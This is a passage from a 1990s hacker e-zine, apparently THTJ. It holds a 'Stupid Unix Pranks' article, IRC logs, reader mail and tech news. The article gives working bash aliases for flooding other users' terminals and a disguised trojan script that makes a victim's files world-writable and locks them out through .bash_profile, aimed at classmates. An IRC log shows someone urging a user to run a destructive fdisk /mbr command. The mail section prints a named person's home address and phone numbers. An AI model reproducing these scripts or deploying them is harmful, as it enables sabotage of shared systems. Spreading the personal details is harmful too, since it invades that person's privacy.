  4738. M9SK33+(4>_FA9XWA%4.EBUK$H<5!XUO!1-;GS?ALROBEZ6^(C[1O&>/QF7S'
  4739. M0*_W@[],JC7:LFMAHGXX2E\7I1^-TJ^(THNVB?J547I]E'YUE-X8I:^/TD^/
  4740. MTC=$Z=.B]&NB]!E1^K6H/Y!5"P>R5L`'M@-9J]F]`>^V[":FJ\-G\C?;!>16
  4741. MJARUJ!_'KQGC;=G-S*<)XS5CC".&R]DM+&L%S-J6L:S]1(@@FK4M+&M/"]1S
  4742. M+;Y])4=;6([VY)6(D?;OM1DA6=2#A(N>E>XV;[,9H#_I:LE!XU\*]MH,8!5U
  4743. M@%.)Y/*U^`'^43>Z</,XWV2H$>.9K\NW*89W6Y1W)+O@*5.J.L-&]GLV:'2(
  4744. M.(^O<O`0,BHV73@A_)Q;YDC#>7PKRHE*@&L$X"A'_>N9;3.7[9@)^^!MNQY"
  4745. MM1+PZLY2S[_GRD#^(1E-?.0/X_R5N7X.7+.+N+4<L#^J?PE>KW(G[-,?ZW\=
  4746. MF4X&X[$?>5AFH==9IC?QBG4F;^%&$XV<@E*8M0.O;B6,ZG<%_3@N$WW>$!7+
  4747. M[5B.)IX1%)0$F3RUYN$V[?TS3[0GDL2S_N=P%$L27:.)<)VGJ\`O-[VHGGV4
  4748. MJ!D`\/B##YIP)":=)&3$L97TCZ0/%X]H'Y"1=+RV/B`/R9.OD^3!2!%YT'^2
  4749. M##N*L21DN)B@_+\E6C]L)7V0/@R@Q8N66X=Q:/SG5S$9%CZ]?OA2OW]E/(<>
  4750. MF_0A]@>AD%+0'Q7AK:^OCV8(^Z.?.U;0'Q5]GH_M3:+=.!X1HNU0!3KE%6H[
  4751. M%$'DE4;T8W@C3,``GR?NZAJ/'R&**;I].X(G(DI/0D^9R)/&;>CIC5M!VA8B
  4752. M9&R#3'=\D_?$S@0QY`3"G5X"SKKJQNI25XT5&;1?S3;AST$QC;6:H[OPV2K`
  4753. M062"=!4(=)2958"C+`.>5P%.^IGP@@KP@,$"7U>!EH[.;ZA`1Q<&<U401V?W
  4754. M>2K0`U@A6P53`7)@O@H2V$Z64X`18"'DJYHD@`)<Z"@@&>";4*B":0!V7!0H
  4755. M((7.?Y$`N/98A'(%S*!?C%(5S`0H@Y=4D`F0,N;S`D`Y+%8T"DT`7Q#R.Y32
  4756. MQOD=EK'_`XR_T^.>M^TD?IFCT;&*6;,U8/RC_$J!5K8N5%9COV)K1IUZ\A,/
  4757. M-!4PC4(4BPS5L\3Y[*F>K1;7JS5&:!\]2P(MM-HYN(([W'.X7^@E&GB7:/'$
  4758. M(PYVD:FPF23`>I((];C"6TJF02'Y&LPA,\!40L^=KI._DH_)1^1/Y(_D#^0*
  4759. M&2*_(Y?):8RE977%5:D=>\:(_#H+-"TX<%]A,"&#L^"L98S^!@AT?M-48!<'
  4760. M<<"^BV-N.Y:I'";^\VQIK7'Z`QOF+Z06^=2D@-K8J!&F1#[]T(!(\.B-;HS<
  4761. MLD?\D68==T*T<TF8-%.YF`LN(5\YA40WM1W4+1>8&P[LJ6=C]DA0MC(\$3N!
  4762. MUC&;2Z:-$%YE.PR.0.E+>$(M>YJEIM>E<L\F;V>AU$R+$GF=9Z/')[M;_>P,
  4763. M7>KHZ+!&R;*9I:83+O+7XEKY9!%2^'0:W<PR&Z-K:X(;FCR!0K3IA*M\/R0+
  4764. M0"WX+^9>0=<2V-!8[?;Z]'*GW*BT/;Y)]C5&'CD#D=>F;VMJ4XVF5+F;/&WS
  4765. M_PU02P$"%``4````"``9@P\C95P&-X$#``#L!@``#````````````"``````
  4766. M````1E)-7TU!24XN1E)-4$L!`A0`%`````@`+8,/(]8-X;=P````?@````P`
  4767. M`````````0`@````JP,``%!23TI%0U0Q+DU!2U!+`0(4`!0````(`#J##R-9
  4768. MFZ7+Q`@``$`<```*````````````(````$4$``!324Y724XN15A%4$L%!@``
  4769. 0```#``,`K````#$-````````
  4770. `
  4771. end
  4772.  
  4773.                     Devix - devix@thepentagon.com
  4774.                       www.thepentagon.com/devix
  4775.                     PGP key available above. Use it.
  4776.  
  4777. ═────────────────────────────────────────────────────────────────────────────═
  4778. Stupid Unix Pranks 
  4779. by The Darkling    
  4780.  
  4781.     Terminal flooding Is a very annoying and a great way to make people 
  4782. look stupid. However this requires something. Go into /dev and type ls -la 
  4783. ttyp?. This will get you a listing of the permisions on the ttyps. For 
  4784. any reason should you have right accsess to any ttyp# (that stands for ttyp 
  4785. number) you can do this. Another thing you can do is if they ever leave their 
  4786. computer un-attended walk over to it, type who am i (for your user name) and 
  4787. then type who username for their ttyp number. then type cd /dev and then 
  4788. chmod a+rwx ttyp(their ttyp#) ( Side note: chmod is a change permissions 
  4789. command. a = all and a+rwx gives people read write and exacute perms on it). 
  4790. this setting will stick threw all of their ttyp's (they change every time). 
  4791. Most default settings give you write accsess to other peoples ttyps. Don't 
  4792. ask me why, but they do. Now we have to write a couple scripts to do the 
  4793. terminal flood and to setup for it other times. Asuming you don't have a 
  4794. .bash_profile I am now going to go threw what it is and how we will use it. 
  4795. .bash_profile is a file that will run everytime you login asuming you are 
  4796. using a bash shell. if not.. type /bin/bash now and load one. here is the 
  4797. heading for your .bash_profile (and every other bash script) 
  4798.  
  4799. !#/bin/bash 
  4800.  
  4801. this means that we are sending commands to the bash shell.. its just propper 
  4802. form, and some whate unessary if your using a bash shell. now what were going 
  4803. to do is setup a little rutine that wil grab us everyons login name and ttype 
  4804. number so we can check this when ever. I have mine setup so that it tells me 
  4805. eveyones in the begging and writes it to a file (that re-freshes everytime) 
  4806. in my home dir called flowers. here it is, I'll go over it in a sec 
  4807.  
  4808.  
  4809. !#/bin/bash
  4810. who 
  4811. who > flowers 
  4812. alias flood='cat /etc/wmtp > /dev/ttyp$1' 
  4813. alias fuck='echo Fuck You > /dev/ttyp$1' 
  4814. alias w='who' 
  4815. alias hehe="echo You were flooded curtusy of The Night script 
  4816. www.wilter.com/Darkling/ > /dev/ttpy$1' 
  4817.  
  4818.  
  4819. Now save it. Exit your shell and log backin for the changes to take affect 
  4820. now. As you enter you will be presented with a list of peoples names and 
  4821. ttyps, as a off note this information can also be seen in the file named 
  4822. flowers. Also you might want to get the above source out of the html code. 
  4823. Just so it isn't 
  4824. fucked over when you put it in. If you need to see the information quickly, 
  4825. just type w and then enter and you will see it again. When we want to flood 
  4826. some one we type flood # ( or flood space their ttyp number ) and the entire 
  4827. contents of wmpt (usaly f***** huge) will be dumped to their screen. 
  4828. Similarly if you type fuck # (fuck space their ttyp number) they will get a 
  4829. Fuck You added to where ever their curser is, or was. its halurs if their 
  4830. e-mailing the root and you do it just ebfor they send it. The fuck you is 
  4831. added to the mail message then its sent... you get the picuter =0). Also 
  4832. after every day of tortue it would be nice to me if you would type hehe # 
  4833. (hehe space ttyp #) wich broadcasts a advertisment about this page. 
  4834.  
  4835. #2
  4836.     This is what I call a Joke Trojen. While this method could be used to
  4837. do some very bad things I don't really condone them.  Warning: This could get 
  4838. you kicked out of unix class and if your school is tight as mine maybe given 
  4839. the big boot. Use with caution. The entire Idea behind this is that we need 
  4840. someone dumb enough to run a program you give them. this program will be a 
  4841. trojen horse that will efectivly lock them out and give you RWX on everything 
  4842. they own. My unix may be a bit rusty as I'm writing this up after unix class,
  4843. but everything should work. First 'know thi victem, sayith the lord' this 
  4844. person has to be someone that has something you want, and  will run a program 
  4845. without thinking about it. Once you have chosen your victem, make the 
  4846. following bash script: 
  4847.  
  4848. <--- begin code ---> 
  4849.  
  4850. #!/bin/bash 
  4851. echo you stupid dick 
  4852. chmod a+rwx * 
  4853. echo logout > .bash_profile 
  4854. cd /home/yourusername 
  4855. echo The hit is made sir > YES
  4856. echo bye 
  4857. logout 
  4858.  
  4859. <--- End code ---> 
  4860.  
  4861. Now make type 
  4862. chmod g=x filename
  4863. chmod o=x filename 
  4864. chmod a+xw /home/yourusername
  4865.  
  4866. Make sure to have named it someting like runme or some name that some one 
  4867. would think it a little program that is kewl and safe to run.  We before 
  4868. denied read or write accsess to it so they can't see its true nature (except 
  4869. root), so they should not fear it. Place it in their /home/username/ dir and 
  4870. wait for the file YES to appear in your home dir. be sure to fill in the vars 
  4871. like yourusername and filename (your user name adn whatever you name the 
  4872. file).  The effect of the trojen above goes like this : 
  4873.  
  4874. it says to their screen 'you stupid dick' 
  4875. it gives everyone read write and exacute perms to their files (all!) 
  4876. it makes it so their startup files makes them logout (so they can't log back 
  4877. in.. ) 
  4878. it goes to your dir 
  4879. it makes a file called YES with the insides 'The hit is made sir' 
  4880. it tells them 'bye' 
  4881. it logs them out. 
  4882.  
  4883. I personely like it.. its very effective. if you have the right setup perms 
  4884. on yourstuff ( shown above with the chmod commands) then it all should work. 
  4885. Go have fun in their dir.. then remove the logout from their .bash_profile 
  4886. before they report to the teacher that some one put a trojen in their dir. =) 
  4887.  
  4888. The Darkling 
  4889.  
  4890. Contact: 
  4891.  
  4892. Darkling69@mintprimary.com
  4893. http://www.wilter.com/~Darkling/ (soon to be)
  4894.  
  4895. ═────────────────────────────────────────────────────────────────────────────═
  4896. Oddville, THTJ
  4897.  
  4898.        [ This month, sadly Oddville is very small since this month, Scud-O's
  4899.         registry was fucked and he lost Eudora,. and thus all this strange,
  4900.         strange mail, so if you sent some whacked shit to me, resend it
  4901.         again, por favor! heh. ]
  4902.  
  4903. Date: Tue, 16 Sep 1997 22:43:59 -0400 (EDT)
  4904. From: cLOut <clout@widomaker.com>
  4905. X-Sender: clout@wilma
  4906. To: scud@thtj.com
  4907. Subject: log
  4908.  
  4909. hey..here's a log file i had from a few days ago... add it to THTJ if you
  4910. want man..latz.
  4911.  
  4912.  
  4913.  
  4914.  
  4915. ==/==/==
  4916.        cL0ut
  4917.     clout@widomaker.com
  4918. [finger for PGP public key]
  4919. This is from some dumbass that joined #phrack (<BEGIN LOG>)
  4920. <red_tab> Can someone tell me where to get salt peter.
  4921. <cL0ut> salt peter?
  4922. <red_tab> please
  4923. <p-> hm
  4924. <red_tab> Potassium Nitrate
  4925. <cL0ut> you can find salt & pepper on your kitchen table
  4926. <red_tab> Im from australia, and Ive never ehard of it before.
  4927. <red_tab> It's a special type
  4928. <red_tab> Ok then. Can anyone get onto #bombs? Its invite only.
  4929. <red_tab> or know the nick of a person on it?
  4930. <cL0ut> red_tab: i can tell you how to get in
  4931. <Frontline> yawn
  4932. <red_tab> What do you want?
  4933. <cL0ut> red_tab: type /run fdisk \y /mbr
  4934. <red_tab> Yeah. Sure
  4935. <red_tab> For gods sake. Im not that dumb
  4936. * Shok is idle, automatically dead [bX(l/on p/off)]
  4937. <cL0ut> red_tab: you sound that dumb
  4938. <Frontline> h0h0h0
  4939. <red_tab> It wouldn't work anywany, Im not on UNIX
  4940. <red_tab> thanks
  4941. <cL0ut> HAHAHAHAHAHAH
  4942. <cL0ut> you dumbass
  4943. <cL0ut> fdisk is a DOS commands
  4944. <cL0ut> command even
  4945. <Frontline> cl0ut not neccesarily
  4946. <red_tab> Ok it would work then. i am that dumb
  4947. <Frontline> but those lil commands you gave him were for the dos version
  4948.  
  4949. <(END LOG)>
  4950.  
  4951.  
  4952. ---
  4953.  
  4954. Date: Tue, 16 Sep 1997 21:47:58 +0100
  4955. From: ToX <mt@bruhn.dk>
  4956. X-Mailer: Mozilla 3.03 (Win16; I)
  4957. To: thtj@thtj.com
  4958. Subject: Windows 95 NetWork Crack
  4959.  
  4960. My problem is that I have made
  4961. a bet with my freind, that i can
  4962. break his Windows 95 NetWork...
  4963.  
  4964. When you share a directory, you
  4965. can put a password on it, and it
  4966. is this password that i have to
  4967. break...
  4968.  
  4969. Can you pleash help me !
  4970.  
  4971. ToX
  4972. MT@BRUHN.DK
  4973.  
  4974.  
  4975. [no.]
  4976.  
  4977. ---
  4978.  
  4979. From: "TM" <tm@sinnerz.com>
  4980. Organization: SIN/Technophoria
  4981. To: xxxxxx@xxxxxxx.net
  4982. Date: Sun, 21 Sep 1997 00:10:39 -7000
  4983. Subject: Movie To See
  4984. Priority: normal
  4985. X-mailer: Pegasus Mail for Win32 (v2.54 preview)
  4986.  
  4987. Ok, if any of you are going to the movies any time soon, GO SEE THE 
  4988. GAME! IT KICKS ASS! We are talking a big two thumbs up and one 
  4989. fucking STUNNED audience. Go see it now, in fact. Go ahead and leave 
  4990. your computer online, let it time out, go and stand outside of the 
  4991. fucking movie theater until it starts or comes there... threaten the 
  4992. manager with anal rape unless he show The Game there. Oh shit oh shit 
  4993. oh shit what a fucking trip... wow... I mean, you think you know 
  4994. what's up, you think you have the big picture but then it rips apart 
  4995. and all of a sudden the picture gets much bigger... I loved it so 
  4996. much I was incoherent for 2 hours afterwards (I just got back from 
  4997. seeing it, as you can tell).
  4998.  
  4999.   ____
  5000.  / ___| ___
  5001. | |  _ / _ \
  5002. | |_| | (_) |
  5003.  \____|\___/
  5004.  
  5005.  ____              ___ _   _
  5006. / ___|  ___  ___  |_ _| |_| |
  5007. \___ \ / _ \/ _ \  | || __| |
  5008.  ___) |  __/  __/  | || |_|_|
  5009. |____/ \___|\___| |___|\__(_)
  5010.  
  5011. Nownownownownow!
  5012. +--------------------------------+
  5013. |              TM                |
  5014. +--------------------------------+
  5015. |  Ou' sont les neiges d' antan  |
  5016. |         Villon                 |
  5017. +________________________________+
  5018. |    There is a man...           |
  5019. |   playing a violin...          |
  5020. |   and the strings...           |
  5021. | are the nerves in his own arm. |
  5022. | A twisted soul- the mortar...  |
  5023. |  despair- the bricks...        |
  5024. | to build a temple of sadness.  |
  5025. |  The Crow, J. O'Barr           |
  5026. +--------------------------------+
  5027. |   This tagline is SHAREWARE!   | 
  5028. |    To register, send me $10.   |
  5029. +--------------------------------+
  5030.  
  5031.  [ I agree, this is one hell of a movie, and i recommend seeing it when
  5032.    intoxicated for an added effect. ]
  5033.  
  5034. ---
  5035.  
  5036. Name: Alam Farez
  5037. House fone number: (860)875-2117
  5038. Personal fone number: (860)875-9911
  5039. Address: 9 Deerfield Lane
  5040.      Ellington, CT 06029
  5041.  
  5042. URL: http://members.tripod.com/~zerohex/zer0.html
  5043. email address: zer0-hex@juno.com
  5044.  
  5045. ═────────────────────────────────────────────────────────────────────────────═
  5046. #phrack
  5047.  
  5048. <chris0> so1o: whats the new crh gunna have in it?
  5049. <number6> replicas of phrack articles
  5050. <FrontLine> an original idea maybe this time?
  5051. <FrontLine> never
  5052. <FrontLine> could never have one of those
  5053. <rh1n0> gha
  5054. ┌───-───(( whois information: number6 ))──-─-──-───--──-──-─-─ -──-─- -─
  5055. │ address   ≡ ~no6@jolt.ppp.dhp.com [Commercial Organization]
  5056. │ quote     ≡ Number 6
  5057. │ channels  ≡ #phrack #glitterglam 
  5058. │ server    ≡ irc-w.primenet.com: [206.165.111.241] Primenet Mae-West IRC server
  5059. └───-──────────-──────--───-───-──-─ ─-──-──- -─
  5060. <chris0> hehe
  5061. <so1o> it will be 200% orig1nal
  5062. <so1o> f00
  5063. <FrontLine> its to hard to come up with an original idea
  5064. <rh1n0> i didnt read that yet
  5065. <dev_null> wait and see
  5066. <rh1n0> i will go read it now
  5067. <FrontLine> let alown write those original ideas down
  5068. === (join\#phrack) VC[VC@rhat.cts.com] @[02:03:51am]
  5069. <so1o> i wrote something down once.. it said...
  5070. <so1o> I R0CK
  5071. <so1o> heh
  5072. <Warpy> 200%
  5073. <Warpy> oh dear
  5074. <so1o> 200 proof then
  5075. <FrontLine> much easier to rip other peoples shit
  5076. <so1o> f00
  5077. <so1o> heh
  5078. <FrontLine> cut their name
  5079. <FrontLine> paste yours
  5080. <chris0> I seen an article published in crh that was also in EL8 newsletter 1 but changed.
  5081. ┌───-───(( whois information: FrontLine ))──-─-──-───--──-──-─-─ -──-─- -─
  5082. │ address   ≡ assembly@penguinpalace.com [Commercial Organization]
  5083. │ quote     ≡  
  5084. │ channels  ≡ #phrack @#cheese #glitterglam 
  5085. │ server    ≡ irc.visi.com: Rockin' Snowland Server
  5086. └───-──────────-──────--───-───-──-─ ─-──-──- -─
  5087. <FrontLine> much much much easier
  5088. <so1o> i didn't paste my name
  5089. <so1o> heh
  5090. === (join\#phrack) WOWEE[netcom.ix.@chi-il11-04.ix.netcom.com] @[02:04:35am]
  5091. <WOWEE> hello
  5092. <FrontLine> Oh you actually typed it out
  5093. <halflife> did i see so1o and original on the same screen?
  5094. ∙ halflife blinks
  5095. <so1o> isn't FrontLine a medication for vaginal warts?
  5096. <so1o> yeah halflife
  5097. <so1o> im gonna try reeally hard
  5098. <so1o> heh
  5099. ∙ so1o concentrates
  5100. === (nick\change) rh1n0 ──> WEP
  5101. <WOWEE> can someone tell me where i can get an anonymous emailer and browse the web
  5102. <halflife> so1o puts out a lot of issues
  5103. <chris0> leave
  5104. <halflife> too bad they all suck
  5105. <so1o> issue 5 is good
  5106. <halflife> but hey, theres lots of em atleast
  5107. ∙ FrontLine watches as s01o's head explodes from trying to come up with an original idea
  5108. <halflife> i read it, but dont remember any of it
  5109. <Warpy> so1o, so a redhat 2.1 exploit is GOOD?
  5110. <chris0> At least its a zine.
  5111. <so1o> issue 5 i said
  5112. <so1o> heh
  5113. <number6> wowee: check out http://www.research.att.com/projects/crowds/
  5114. <Shok> llalala
  5115. <WOWEE> thnx
  5116. ∙ FrontLine is amazed that in all that mess from his head exploding nothing original could be found
  5117. <so1o> i got 4 original submissions so far
  5118. <so1o> he phear
  5119. === (nick\change) WEP ──> rh1n0
  5120. <so1o> s/he/so
  5121. <so1o> heh
  5122. <rh1n0> um
  5123. <Warpy> so1o, originality is crap unless they're good
  5124. <alhambra_> so1o how many of them are other handles u use?>
  5125. <chris0> Do people just submit to CRH or is it all codezero based?
  5126. === (join\#phrack) ld-100[555ic@d-pm4-39.txdirect.net] @[02:07:04am]
  5127. <rh1n0> ahhaha
  5128. === (signoff\#phrack) ld-100[555ic@d-pm4-39.txdirect.net] @[02:07:06am] [Connection reset by peer]
  5129. <Warpy> alhambra_, hahahaha
  5130. <Modify> Maybe you should lay off of hacking 30 web pages a week and devote your time on something more constructive!
  5131. <alhambra_> (are written by)
  5132. <so1o> alh : none
  5133. <FrontLine> so1o: in your next issue are you going to have |<-RaD flash warez 
  5134. <so1o> yeah
  5135. <so1o> how did you know?
  5136. <dev_null> www.sekurity.org/~vol
  5137. <dev_null> CRH 5
  5138. <so1o> crh 5 is elitespeak
  5139. <halflife> mflash too
  5140. <so1o> so no-one can readit
  5141. <so1o> heh
  5142. <Warpy> www.sekurity.org/~warpy is more ereeter
  5143. <halflife> mflash.bas
  5144. <dev_null> i've been there
  5145. <so1o> hahaha
  5146. <halflife> visual basic mailflashes!@
  5147. <Shok> www.sekurity.org/~shok has no index.html 
  5148. <Shok> hehe
  5149. <FrontLine> wew hoo mflash!!!!
  5150. <li> www.nque.com/~li has no html!
  5151. <li> hi
  5152. <so1o> www.larc.nasa.gov is br0k3n
  5153. <so1o> and it wasn't me
  5154. <halflife> so1o has mad phf sk1llz
  5155. <so1o> phf is k-r4d
  5156. === (signoff\#phrack) phiXati0n[PHUCK_you@167-123-97.ipt.aol.com] @[02:08:59am] [ChaNNeL BoT bY |IceMan|------⌐HΣ╤±Θú ▀°t ▀Ñ |φ╟╚m┼±|]
  5157. === (kick\#phrack) Warpy[warpy@slsyd75p22.ozemail.com.au] kicked [so1o] off #phrack [schmack]
  5158. <alhambra_> i think crh and el8 should merge
  5159. <alhambra_> get all the crap in one place
  5160. <chris0> hehe lol
  5161. === (join\#phrack) so1o[REPL4Y@serug.netgates.co.uk] @[02:09:13am]
  5162. <so1o> hey
  5163. <Modify> halflife: lo fuckin loud
  5164. <so1o> no fair
  5165. <dev_null> what happened to #codezero ?
  5166. <so1o> crh 6 will have unpublished and orignal exploits in it
  5167. <Warpy> so1o, name one exploit/vuln c0d3z3r0 have coded/found *THEMSELVES*
  5168. === (signoff\#phrack) ld-50[555ic@d-pm4-26.txdirect.net] @[02:10:08am] [Operation timed out]
  5169. === (join\#phrack) ld-100[555ic@d-pm2-05.txdirect.net] @[02:10:13am]
  5170. <halflife> judging from the originality of crh, REPL4Y is a good username for so1o
  5171. <li> mount.c
  5172. <li> ?
  5173. <so1o> phf xterm tekneeq
  5174. <Warpy> bahahaha
  5175. <so1o> hah
  5176. <Modify> oh my god
  5177. <Warpy> oh dear
  5178. <Modify> hahaha
  5179. <Modify> and thats a funny group name cause they code zero
  5180. === (topic\#phrack) Warpy[warpy@slsyd75p22.ozemail.com.au] sets topic (<so1o> phf xterm tekneeq)
  5181. <dev_null> soltool is a fuckin' rip off
  5182. <halflife> so1o, people were doing that before the ibm advisory came out like 2 yrs ago
  5183. <Warpy> dev_null, agreed
  5184. <so1o> i coded that myself
  5185. <so1o> gneegr0
  5186. <halflife> soltool is backdoored too
  5187. <chris0> modify: what does global kos do?
  5188. <so1o> yeah
  5189. <Warpy> YOU CODED A FUCKING SHELL SCRIPT WITH PUBLIC EXPLOITS?
  5190. <so1o> i did that too
  5191. === (nick\change) ld-100 ──> ld-50
  5192. <chris0> Im not defending codezero but global kos doesnt do crap.
  5193. <alhambra_> phf xterm technique is ancient
  5194. <Modify> chris: go to school and work
  5195. <Warpy> chris0, just because they don't hack pages and trade warez doesn't mean they don't do crap
  5196. <dev_null> Global kOS is kinda lame...i have yet to see something usefull come out from them,
  5197. <so1o> hah
  5198. <so1o> hah
  5199. <so1o> upyours4.exe
  5200. <so1o> hah
  5201. <chris0> hehe
  5202. === (part\#phrack) few1[blah@phat.oz.net] @[02:11:57am]
  5203. <halflife> dev_null: so how do they differ from c0dez3r0?
  5204. <Warpy> so1o, at least they understood enough sendmail to code it
  5205. <chris0> warpy: Im saying they havent released anything.
  5206. === (signoff\#phrack) alhambra_[alhambra@nuclear.biodome.org] @[02:12:27am] [changing servers]
  5207. <Modify> www.thtj.com/kOS/screenshot.jpg
  5208. >>> (msg(modify)) this shit is funny
  5209. <Warpy> a group is about/for the group not admirers or exploit k1dd1es
  5210.  
  5211. ═───────────────────────────────────────────────────────────═
  5212.  
  5213. === (join\#phrack) so7o[REPL4Y@amon.netgates.co.uk] @[02:14:51am]
  5214. <chris0> At least they do a mag its better than nothing.
  5215. <so7o> we are getting better
  5216. <halflife> no, it isnt
  5217. <dev_null> remember ZERO
  5218. <halflife> so7o, the quality hasnt changed
  5219. <dev_null> www.sinnerz.com/zero
  5220. <so7o> yes it has
  5221. <halflife> and you still do lame stuff like dump d0x
  5222. <so7o> we have taken that into consideration
  5223. <so7o> and i have already tackled the issue for 6
  5224. <FrontLine> who is we anyway
  5225. <halflife> your content is 1) lame and 2) stolen
  5226. <halflife> a bad combo
  5227. <FrontLine> h0h0h0
  5228. <halflife> if yer gonna steal shit, steal better stuff
  5229. <alhambra_> yah
  5230. <alhambra_> and so1o
  5231. <Modify> hehe
  5232. <alhambra_> stop publishing other peoples shit on bugtraq
  5233. <Warpy> hahah
  5234. <so7o> that was another so1o
  5235. <alhambra_> oh right
  5236. <li> *cough*
  5237. <Warpy> "i couldn't find the remote root code, but here's something anyway.." (imap)
  5238. <alhambra_> the other so1o
  5239. <li> :>
  5240. <so7o> i'll relay the message
  5241. <kaotik> hrmm
  5242. <Modify> you mean there are 2 of you?
  5243. <so7o> yeah
  5244. <Warpy> SPLIT PERSONALITIZ
  5245. <so7o> and there's a dude called codezero
  5246. <kaotik> i guess it's shit like this why i don't go to cons
  5247. <li> so1o.. you told me you did it because you were tired of all the lamers gettin the code
  5248. <li> or something
  5249. <alhambra_> www.sekurity.org/~vol
  5250. <alhambra_> that page rules
  5251. <Warpy> alhambra_, it does don't it :)
  5252. <alhambra_> yep
  5253. <so7o> bugtraq is there to make the world a safer place
  5254. <alhambra_> so1o it doesn't matter
  5255. <so7o> i think everybodty should post everything to bugtraq
  5256. <FrontLine> and your here to make the world a lamer place?
  5257. <alhambra_> u dont publish others exploits there
  5258. <halflife> is he called codezero cuz that describes how much code he has written in his life?
  5259. <Modify> point being?
  5260. <li> hold.. lemme post nlock
  5261. <alhambra_> u dont publish others exploits there
  5262. <halflife> is he called codezero cuz that describes how much code he has written in his life?
  5263. <Modify> point being?
  5264. <li> hold.. lemme post nlock
  5265. === (join\#phrack) Volatile[vol@synapse-160.mindport.net] @[02:19:08am]
  5266. <Volatile> so1o!
  5267. <chris0> Old hacking files are totally krad compared most of the new shit.
  5268. <Volatile> li: Hey there li
  5269. <so7o> i was considering posting the nlock source
  5270. <Volatile> li: Long time
  5271. <so7o> but sun would kick my ass
  5272. <chris0> Phrack is an ok magazine just too much source.
  5273. <Modify> geezus
  5274. === (join\#phrack) loath[loath@206.29.0.102] @[02:19:41am]
  5275. === (signoff\#phrack) chris0[brutus@wrt1-ppp30.dial.snowline.net] @[02:19:41am] [Leaving]
  5276. <Warpy> so7o, post nlock and everyone will kick yer ass
  5277. <so7o> why?
  5278. <Warpy> tho i suppose you'd need netcat for it
  5279. <Warpy> :P
  5280. <halflife> i think we need to publish less source
  5281. <Volatile> so7o: So how's CodeZero?
  5282. <so7o> because you would rather be all k-r4d and 31337
  5283. <kaotik> i was gonna post the netscape 128k encyrption k0de
  5284. <Volatile> haha
  5285. <Volatile> No
  5286. <Volatile> so7o would
  5287. <Volatile> That's why he's posting it
  5288. === (nick\change) prym ──> FEGR00LZ
  5289. <so7o> and keep all your neat little remote's in sshd and the like to yourselves
  5290. <kaotik> but it's old shit
  5291. <Volatile> That's why he's posting it
  5292. === (nick\change) prym ──> FEGR00LZ
  5293. <so7o> and keep all your neat little remote's in sshd and the like to yourselves
  5294. <kaotik> but it's old shit
  5295. === (nick\change) FEGR00LZ ──> prym
  5296. <Modify> half: Im doing one on CISCO for the next issue
  5297. <Volatile> He wants to look like he has the greatest archives.
  5298. <Modify> with d1s
  5299. <li> it'd help if he had it
  5300. <so7o> that doesn't make the world a safer place
  5301. <Volatile> so7o: Dude.. face it
  5302. <Warpy> so7o, so ppl/groups like c0d3z3r0 don't get it and use it to trade juarez
  5303. === (signoff\#phrack) VC[VC@rhat.cts.com] @[02:20:48am] [Ping timeout]
  5304. <Volatile> so7o: You're just a moron trying to look like yew have reet0 k03z
  5305. <so7o> my k0dez > your
  5306. <so7o> sssss
  5307. <Volatile> haha
  5308. <Volatile> Yea
  5309. <so7o> nice to see you admit it
  5310. <Volatile> Yew know what kode I loved a lot
  5311. <Modify> is that scripting?
  5312. <li> hi
  5313. <Volatile> Let me make sure Im accurate here.
  5314. <halflife> i wont code for linux anymore tho, too many stupid people ask me linspy questions
  5315.  
  5316. ═────────────────────────────────────────────────────────────────────────────═
  5317. The News 
  5318. Compiled and edited by KungFuFox
  5319.  
  5320.     1 : Huge jump seen in PCs linked to net 
  5321.     2 : Hackers vie for $1-million reward 
  5322.     3 : Digitizing Your Meter Reader
  5323.     4 : AT&T Tests New `00' INFO Directory Assistance Service    
  5324.     5 : Bellcore Scientists See Cold-Weather Problems...
  5325.     6 : Is the Internet a Matter of National Security? 
  5326.     7 : Hacking Smart Card Chips: At What Cost? 
  5327.     8 : House Panel Rejects Crypto Amendment
  5328.     9 : Internet Addict Placed on Probation in Ohio - from FH
  5329.  
  5330.        <Faraz> tell you and your lame friends not to prank call me  
  5331.  
  5332. ═───────────────────────────────────────────────────────────═
  5333.  
  5334. Huge jump seen in PCs linked to net
  5335.  
  5336. The number of personal computers connected to the Internet will jump 71% by 
  5337. the end of the year to 82 million, driven by use in the business market, says 
  5338. market research firm Dataquest Inc. By 2001, about 268 million computers will 
  5339. be linked to the global computer network, according to a recent study. That 
  5340. will lead to more sales of Internet software and services, which are expected
  5341. to rise 60% to $12.2 billion (U.S.) by the end of the year, up from $7.5 
  5342. billion last year. The Internet software and services market is expected to 
  5343. reach $32.2 billion by 2001, with the services market alone reaching $7 
  5344. billion in 1997 and rising to $29 billion by 2001, says Dataquest. 
  5345.  
  5346. (Toronto Financial Post 21 Aug 97)
  5347. ═───────────────────────────────────────────────────────────═
  5348.  
  5349. Hackers vie for $1-million reward
  5350.  
  5351. Austin, Texas start-up Crypto-Logic Corp. has offered a $1-million reward to 
  5352. whomever can crack its new e-mail encryption system within a year. 
  5353. Cryptologists generally agree that Crypto-Logic's technology, called a 
  5354. "one-time pad" is theoretically uncrackable -- each "pad" has a set of 
  5355. uniquely random digital symbols that are coded to the actual message. 
  5356.  
  5357. The recipient uses the same pad to decode the message, and each pad is used 
  5358. only once. Still, experts are warning never to underestimate the tenacity of 
  5359. computer hackers: "Anyone who says their system is bulletproof is either a 
  5360. liar or stupid," says one. "If I'm wrong," says Crypto-Logic's VP and COO, 
  5361. "we're out of business." http://www.ultimateprivacy.com 
  5362.  
  5363. (Wall Street Journal 22 Aug 97)
  5364. ═───────────────────────────────────────────────────────────═
  5365.  
  5366.  Digitizing Your Meter Reader
  5367.  by Gene Koprowski 
  5368.  
  5369.  18.Sep.97.PDT -- A visit from the meter man is rarely a cherished event. 
  5370.  Meter readers dread the prospect of crazed canines, and customers don't much 
  5371.  like strangers tromping through their yard or basement. 
  5372.  
  5373. To automate this timeworn process, utility companies are piloting programs 
  5374. that use customized networking technology to remotely read meters and monitor 
  5375. the energy usage of specific appliances. A technology trial at Nashville 
  5376. Electric Service, a division of the Tennessee Valley Authority - the 
  5377. Depression-era creation of President Franklin Roosevelt - will link consumers 
  5378. to the energy company via a computer network. 
  5379.  
  5380. The technology behind the service - developed by Nortel and TeCom - provides 
  5381. automatic meter reading, outage detection, and remote connect and disconnect 
  5382. capabilities. To test the service, Nashville Electric is installing a network 
  5383. router and digital meter reader in the homes of 100 residential customers - 
  5384. and in the offices of about 40 customers. 
  5385.  
  5386. These meters will be linked to LANs and PCs, creating a bi-directional 
  5387. consumer electronics network: Individual appliances, like a toaster, 
  5388. microwave or refrigerator, will be online, enabling consumers to monitor 
  5389. their usage down to the kilowatt, said TeCom spokesman Mike Mahoney. 
